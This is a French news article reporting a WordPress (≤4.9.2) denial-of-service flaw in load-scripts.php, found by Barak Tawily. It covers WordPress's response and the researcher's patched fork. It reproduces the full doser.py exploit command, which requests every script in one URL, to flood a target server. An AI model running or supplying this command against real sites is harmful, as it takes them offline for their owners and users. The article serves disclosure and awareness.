Des statistiques de la firme W3Techs révèlent que sur 100 sites conçus avec WordPress, Drupal, Joomla, Magento ou Shopify, 60 concepteurs ont fait le choix du système de gestion de contenus (CMS) WordPress. Pris sur une échelle plus globale, le CMS est utilisé par 29,4 % des sites web. On parle donc d’un acteur de poids sur la toile. Aussi convient-il de communiquer sur toute faille qui le concerne, surtout lorsque des chercheurs en sécurité font état de la facilité avec laquelle elle peut être exploitée.
La vulnérabilité découverte par le chercheur en sécurité Barak Tawily permet de lancer une attaque par déni de service sur un site web. Pas besoin d’un réseau de zombies (des ordinateurs ou objets connectés enrôlés par un logiciel malveillant pour s’en prendre à une cible) pour mettre un site web conçu avec la version 4.9.2 du CMS (et antérieures) hors service ; un poste de travail client suffit. Le problème ici est que les concepteurs du système de gestion de contenu ont permis l’accès aux scripts load-scripts.php et load-styles.php à des utilisateurs qui ne bénéficient pas des droits d’administrateur.
Load-scripts.php par exemple est utilisé pour accélérer le chargement des pages en insérant (côté serveur) de multiples fichiers JavaScript au sein d’une requête et en envoyant le contenu au navigateur d’un internaute. En fonction des additifs et modules installés par le concepteur du site, le script fait appel aux fichiers requis en passant leur nom au paramètre load dans une URL comme celle-ci : https://votre-site-wordpress.com/wp-admin/load-scripts.php?c=1&load=res1,res2,res3,res4,res5. Dans le cas de cette URL, le site demande au serveur de lui servir cinq ressources JavaScript. D’après Barak Tawily cependant, il est possible d’initier une requête qui appellera jusqu’à 181 ressources ; c’est sur ce constat qu’est basé l’exploit Python que le chercheur a mis à la disposition de la communauté.
L’exploit peut être mis à contribution dans l’immédiat sur le modèle python :
doser.py –t 999 –g ‘https://site.à.attaquer.com’.
Ci-dessous, la ligne de commande complète avec le total des ressources à requérir.
code :
python doser.py -g 'https://localhost/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999
D’après le chercheur, une exécution de la ligne de commande force le serveur concerné à générer 4 mégaoctets de données en 2,2 secondes. Seulement, l’exploit est monté de façon à ne pas laisser le serveur reprendre son souffle. Ainsi, une multitude de requêtes sont envoyées à l’adresse à problème et après 500 requêtes, le serveur se met à retourner des messages d’erreur.
La vulnérabilité semble idéale pour permettre à monsieur Tout-le-Monde muni d’un ordinateur et d’une connexion Internet à 40 mégabits par seconde de mettre à mal un site hébergé sur une machine aux ressources modestes. Il semblerait cependant que les résultats soient moins bons pour des sites hébergés sur des serveurs aux ressources plus importantes. Quoi qu’il en soit, il est manifeste qu’il y a une vulnérabilité. Contacté par le chercheur, WordPress a estimé que la solution au problème n’est pas de son ressort.
« Ce genre de problème doit être contourné au niveau réseau ou serveur plutôt qu’au niveau application sur lequel nous n’avons pas de contrôle », a rétorqué WordPress au chercheur. Heureusement, le CMS est open source et pour pallier ces lacunes, le chercheur propose un fork du projet qui intègre les correctifs nécessaires. « Je recommande fortement de faire usage de la version corrigée du CMS », a-t-il écrit. Dans le cas où le site est déjà monté sur un serveur Linux, Barak Tawily a également publié un script bash utile pour modifier certains fichiers du site afin de se prémunir de cette faille.
Utilisez-vous WordPress pour monter vos sites web ? Si oui, quel autre moyen comptez-vous utiliser pour protéger les sites web de vos clients contre cette vulnérabilité ?